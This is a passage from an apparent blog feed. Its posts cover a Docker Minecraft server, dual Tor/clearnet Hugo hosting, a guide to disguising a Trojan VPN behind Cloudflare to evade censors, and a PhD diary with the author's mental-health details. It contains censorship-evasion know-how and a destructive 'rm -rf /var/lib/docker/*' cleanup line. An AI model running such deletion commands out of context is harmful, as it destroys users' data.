    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md.asc
    +gpg --verify September_2025.md.asc September_2025.md
    +  
    +
    + + +]]>
    +
    + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    + + Augest '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/ + Sun, 31 Aug 2025 07:49:24 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/ + <p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p> + This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
    +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
    +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
    +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
    +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
    +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
    +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
    +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
    +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
